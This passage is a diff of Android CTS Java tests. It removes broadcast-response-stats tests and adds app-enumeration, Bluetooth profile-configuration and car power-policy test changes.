- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
- testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
- expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_2));
- expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, 0 /* id */);
- expectedStatsForId1.remove(TEST_APP_PKG);
- expectedStatsForId2.remove(TEST_APP_PKG);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP3_PKG, 0 /* id */);
- expectedStatsForId1.remove(TEST_APP3_PKG);
- expectedStatsForId2.remove(TEST_APP3_PKG);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- } finally {
- connection1.unbind();
- connection3.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_clearAllCounts() throws Exception {
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
- // Initially all the counts should be empty
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
- final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
- try {
- ITestReceiver testReceiver1 = connection1.getITestReceiver();
- ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
-
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent3 = new Intent().setComponent(new ComponentName(
- TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options1 = BroadcastOptions.makeBasic();
- options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final BroadcastOptions options2 = BroadcastOptions.makeBasic();
- options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
- testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
- testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
- expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_2));
- expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
- expectedStatsForId1.clear();
- expectedStatsForId2.clear();
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- } finally {
- connection1.unbind();
- connection3.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_mediaNotification() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildMediaNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- private void updateFlagWithDelay(DeviceConfigStateHelper deviceConfigStateHelper,
- String key, String value) {
- deviceConfigStateHelper.set(key, value);
- SystemUtil.runWithShellPermissionIdentity(() -> {
- final String actualValue = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
- () -> mUsageStatsManager.getAppStandbyConstant(key),
- result -> value.equals(result));
- assertEquals("Error changing the value of " + key, value, actualValue);
- });
- }
-
private Notification buildNotification(String channelId, int notificationId,
String notificationText) {
return new Notification.Builder(mContext, channelId)
@@ -2413,114 +936,6 @@
.build();
}
- private Notification buildMediaNotification(String channelId, int notificationId,
- String notificationText) {
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext,
- 0 /* requestCode */, new Intent(mContext, this.getClass()),
- PendingIntent.FLAG_IMMUTABLE);
- final MediaSession session = new MediaSession(mContext, "test_media");
- return new Notification.Builder(mContext, channelId)
- .setSmallIcon(android.R.drawable.ic_menu_day)
- .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
- .setContentText(notificationText)
- .addAction(new Notification.Action.Builder(
- Icon.createWithResource(mContext, android.R.drawable.ic_media_previous),
- "previous", pendingIntent).build())
- .addAction(new Notification.Action.Builder(
- Icon.createWithResource(mContext, android.R.drawable.ic_media_play),
- "play", pendingIntent).build())
- .addAction(new Notification.Action.Builder(
- Icon.createWithResource(mContext, android.R.drawable.ic_media_next),
- "next", pendingIntent).build())
- .setStyle(new Notification.MediaStyle()
- .setShowActionsInCompactView(0, 1, 2)
- .setMediaSession(session.getSessionToken()))
- .build();
- }
-
- private void sendBroadcastAndWaitForReceipt(Intent intent, Bundle options)
- throws Exception {
- final CountDownLatch latch = new CountDownLatch(1);
- intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
- mContext.sendBroadcast(intent, null /* receiverPermission */, options);
- if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
- fail("Timed out waiting for the test app to receive the broadcast");
- }
- }
-
- private void assertResponseStats(String packageName, long id, int... expectedCounts) {
- final BroadcastResponseStats expectedStats = new BroadcastResponseStats(packageName, id);
- expectedStats.incrementBroadcastsDispatchedCount(expectedCounts[0]);
- expectedStats.incrementNotificationsPostedCount(expectedCounts[1]);
- expectedStats.incrementNotificationsUpdatedCount(expectedCounts[2]);
- expectedStats.incrementNotificationsCancelledCount(expectedCounts[3]);
- assertResponseStats(packageName, id, expectedStats);
- }
-
- private void assertResponseStats(String packageName, long id,
- BroadcastResponseStats expectedStats) {
- List<BroadcastResponseStats> actualStats = mUsageStatsManager
- .queryBroadcastResponseStats(packageName, id);
- if (compareStats(expectedStats, actualStats)) {
- SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
- }
-
- actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
- () -> mUsageStatsManager.queryBroadcastResponseStats(packageName, id),
- result -> compareStats(expectedStats, result));
- actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
- final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
- 1, expectedStats,
- actualStats.size(), Arrays.toString(actualStats.toArray()));
- assertTrue(errorMsg, compareStats(expectedStats, actualStats));
- }
-
- private void assertResponseStats(long id,
- ArrayMap<String, BroadcastResponseStats> expectedStats) {
- // TODO: Call into the above assertResponseStats() method instead of duplicating
- // the logic.
- List<BroadcastResponseStats> actualStats = mUsageStatsManager
- .queryBroadcastResponseStats(null /* packageName */, id);
- if (compareStats(expectedStats, actualStats)) {
- SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
- }
-
- actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
- () -> mUsageStatsManager.queryBroadcastResponseStats(null /* packageName */, id),
- result -> compareStats(expectedStats, result));
- actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
- final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
- expectedStats.size(), expectedStats,
- actualStats.size(), Arrays.toString(actualStats.toArray()));
- assertTrue(errorMsg, compareStats(expectedStats, actualStats));
- }
-
- private boolean compareStats(ArrayMap<String, BroadcastResponseStats> expectedStats,
- List<BroadcastResponseStats> actualStats) {
- if (expectedStats.size() != actualStats.size()) {
- return false;
- }
- for (int i = 0; i < actualStats.size(); ++i) {
- final BroadcastResponseStats actualPackageStats = actualStats.get(i);
- final String packageName = actualPackageStats.getPackageName();
- if (!actualPackageStats.equals(expectedStats.get(packageName))) {
- return false;
- }
- }
- return true;
- }
-
- private boolean compareStats(BroadcastResponseStats expectedStats,
- List<BroadcastResponseStats> actualStats) {
- if (actualStats.size() > 1) {
- return false;
- }
- final BroadcastResponseStats stats = (actualStats == null || actualStats.isEmpty())
- ? new BroadcastResponseStats(expectedStats.getPackageName(), expectedStats.getId())
- : actualStats.get(0);
- return expectedStats.equals(stats);
- }
-
@AppModeFull(reason = "No usage events access in instant apps")
@Test
public void testNotificationInterruptionEventsObfuscation() throws Exception {
@@ -3606,7 +2021,7 @@
private TestServiceConnection bindToTestServiceAndGetConnection(String packageName)
throws Exception {
- final TestServiceConnection connection = new TestServiceConnection();
+ final TestServiceConnection connection = new TestServiceConnection(mContext);
final Intent intent = new Intent().setComponent(
new ComponentName(packageName, TEST_APP_CLASS_SERVICE));
mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
@@ -3663,8 +2078,13 @@
}
}
- private class TestServiceConnection implements ServiceConnection {
+ static class TestServiceConnection implements ServiceConnection {
private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
+ private Context mContext;
+
+ TestServiceConnection(Context context) {
+ mContext = context;
+ }
public void onServiceConnected(ComponentName componentName, IBinder service) {
mBlockingQueue.offer(service);
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 9f2d821..23373ae 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -208,6 +208,8 @@
import java.io.ByteArrayInputStream;
import java.io.InputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
import java.security.cert.Certificate;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
@@ -1972,6 +1974,25 @@
}
@Test
+ public void canPackageQuery_cannotDetectPackageExistence() {
+ ensurePackageIsNotInstalled(TARGET_STUB);
+ final Exception ex1 = assertThrows(PackageManager.NameNotFoundException.class,
+ () -> canPackageQuery(QUERIES_NOTHING, TARGET_STUB, ""));
+ final StringWriter stackTrace1 = new StringWriter();
+ ex1.printStackTrace(new PrintWriter(stackTrace1));
+
+ ensurePackageIsInstalled(TARGET_STUB, TARGET_STUB_APK);
+
+ final Exception ex2 = assertThrows(PackageManager.NameNotFoundException.class,
+ () -> canPackageQuery(QUERIES_NOTHING, TARGET_STUB, ""));
+ final StringWriter stackTrace2 = new StringWriter();
+ ex1.printStackTrace(new PrintWriter(stackTrace2));
+
+ assertThat(ex1.getMessage(), is(ex2.getMessage()));
+ assertThat(stackTrace1.toString(), is(stackTrace2.toString()));
+ }
+
+ @Test
public void checkPackage_queriesNothing_validateFailed() {
// Using ROOT_UID here to pass the check in #verifyAndGetBypass, this is intended by design.
assertThrows(SecurityException.class,
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
index 925fa69..2d8c52b 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
@@ -18,8 +18,8 @@
import static android.appwidget.cts.provider.CollectionAppWidgetProvider.BROADCAST_ACTION;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.mockito.ArgumentMatchers.any;
@@ -58,6 +58,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -446,6 +447,7 @@
}
@Test
+ @Ignore("b/204025905")
public void testSetScrollPosition() {
if (!mHasAppWidgets) {
return;
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index f0c6e5a..1ee1ebf 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -130,7 +130,7 @@
// populated via the adapter when ListView has "real" bounds.
final Runnable setScrollRunnable = new Runnable() {
public void run() {
- if (sSetScrollCondition.canProceed()) {
+ if (sSetScrollCondition != null && sSetScrollCondition.canProceed()) {
// Gating condition has been satisfied. Call setScrollPosition and
// ask the widget manager to update our widget
widgetAdapterView.setScrollPosition(R.id.remoteViews_list, mScrollPosition);
@@ -151,7 +151,8 @@
// populated via the adapter when ListView has "real" bounds.
final Runnable setRelativeScrollRunnable = new Runnable() {
public void run() {
- if (sSetRelativeScrollCondition.canProceed()) {
+ if (sSetRelativeScrollCondition != null
+ && sSetRelativeScrollCondition.canProceed()) {
// Gating condition has been satisfied. Call setRelativeScrollPosition and
// ask the widget manager to update our widget
widgetAdapterView.setRelativeScrollPosition(
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
index e21c629..6d94b3f 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
@@ -41,7 +41,7 @@
private boolean mHasBluetooth;
private BluetoothAdapter mAdapter;
- private UiAutomation mUiAutomation;;
+ private UiAutomation mUiAutomation;
private BluetoothA2dp mBluetoothA2dp;
private boolean mIsA2dpSupported;
@@ -145,7 +145,7 @@
BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
- assertThrows(SecurityException.class, () -> mBluetoothA2dp.getCodecStatus(testDevice));
+ assertNull(mBluetoothA2dp.getCodecStatus(testDevice));
assertThrows(IllegalArgumentException.class, () -> {
mBluetoothA2dp.getCodecStatus(null);
});
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
new file mode 100644
index 0000000..f6336bf
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.sysprop.BluetoothProperties;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.invoke.MethodHandles;
+import java.util.List;
+
+public class BluetoothConfigTest extends AndroidTestCase {
+ private static final String TAG = MethodHandles.lookup().lookupClass().getSimpleName();
+
+ private boolean mHasBluetooth;
+ private BluetoothAdapter mAdapter;
+ private UiAutomation mUiAutomation;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ mHasBluetooth = TestUtils.hasBluetooth();
+ if (!mHasBluetooth) return;
+
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+ BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+ mAdapter = manager.getAdapter();
+ assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ if (!mHasBluetooth) return;
+
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ mAdapter = null;
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ private int checkIsProfileEnabledInList(int profile, List<Integer> supportedProfiles) {
+ final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+ final boolean isSupported = supportedProfiles.contains(profile);
+
+ if (isEnabled == isSupported) {
+ return 0;
+ }
+ Log.e(TAG, "Profile config does not match for profile: "
+ + BluetoothProfile.getProfileName(profile)
+ + ". Config currently return: " + isEnabled
+ + ". Is profile in the list: " + isSupported);
+ return 1;
+ }
+
+ public void testProfileEnabledValueInList() {
+ if (!mHasBluetooth) {
+ return;
+ }
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+ final List<Integer> pList = mAdapter.getSupportedProfiles();
+ int wrong_config_in_list = checkIsProfileEnabledInList(BluetoothProfile.A2DP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.A2DP_SINK, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.AVRCP_CONTROLLER, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.CSIP_SET_COORDINATOR, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.GATT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEADSET, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEADSET_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEARING_AID, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HID_DEVICE, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HID_HOST, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.MAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.MAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.OPP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PAN, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PBAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PBAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.SAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.VOLUME_CONTROL, pList);
+
+ assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+ 0, wrong_config_in_list);
+ }
+
+ private int checkIsProfileEnabled(int profile, int adapterSupport) {
+ final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+ final boolean isSupported = BluetoothStatusCodes.FEATURE_SUPPORTED == adapterSupport;
+
+ if (isEnabled == isSupported) {
+ return 0;
+ }
+ Log.e(TAG, "Profile config does not match for profile: "
+ + BluetoothProfile.getProfileName(profile)
+ + ". Config currently return: " + TestUtils.isProfileEnabled(profile)
+ + ". Adapter support return: " + adapterSupport);
+ return 1;
+ }
+
+ public void testProfileEnabledValue() {
+ if (!mHasBluetooth) {
+ return;
+ }
+ int wrong_config =
+ checkIsProfileEnabled(BluetoothProfile.LE_AUDIO,
+ mAdapter.isLeAudioSupported())
+ + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST,
+ mAdapter.isLeAudioBroadcastSourceSupported())
+ + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+ mAdapter.isLeAudioBroadcastAssistantSupported());
+
+ assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+ 0, wrong_config);
+ }
+
+ public void testBleCDDRequirement() {
+ if (!mHasBluetooth) {
+ return;
+ }
+
+ // If device implementations return true for isLeAudioSupported():
+ // [C-7-5] MUST enable simultaneously:
+ // BAP unicast client,
+ // CSIP set coordinator,
+ // MCP server,
+ // VCP controller,
+ // CCP server,
+ if (mAdapter.isLeAudioSupported()
+ == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+ assertTrue("BAP unicast config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false));
+ assertTrue("CSIP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false));
+ assertTrue("MCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileMcpServerEnabled().orElse(false));
+ assertTrue("VCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileVcpControllerEnabled().orElse(false));
+ assertTrue("CCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileCcpServerEnabled().orElse(false));
+ }
+
+ // If device implementations return true for isLeAudioBroadcastSourceSupported():
+ // [C-8-2] MUST enable simultaneously:
+ // BAP broadcast source,
+ // BAP broadcast assistant
+ if (mAdapter.isLeAudioBroadcastSourceSupported()
+ == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+ assertTrue("BAP broadcast source config must be true when adapter support "
+ + "BroadcastSource. [C-8-2]",
+ BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false));
+ assertTrue("BAP broadcast assistant config must be true when adapter support "
+ + "BroadcastSource. [C-8-2]",
+ BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false));
+ }
+ }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
index 4cb1019..122d6fc 100644
--- a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
@@ -28,8 +28,6 @@
import androidx.annotation.Nullable;
-import com.android.compatibility.common.util.SystemUtil;
-
import com.google.common.base.Strings;
import org.junit.After;
@@ -129,11 +127,11 @@
if (!Strings.isNullOrEmpty(disabledComponents)) {
command += " --disable " + disabledComponents;
}
- executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER, command);
+ executeShellCommandWithPermission("android.car.permission.CAR_POWER", command);
}
private static void applyPowerPolicy(String policyId) throws Exception {
- executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER,
+ executeShellCommandWithPermission("android.car.permission.CONTROL_CAR_POWER_POLICY",
"cmd car_service apply-power-policy %s", policyId);
}
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
index aaba29f..95a3d18 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
@@ -38,24 +38,35 @@
import android.os.Process;
import android.os.UserHandle;
import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.WindowManagerState;
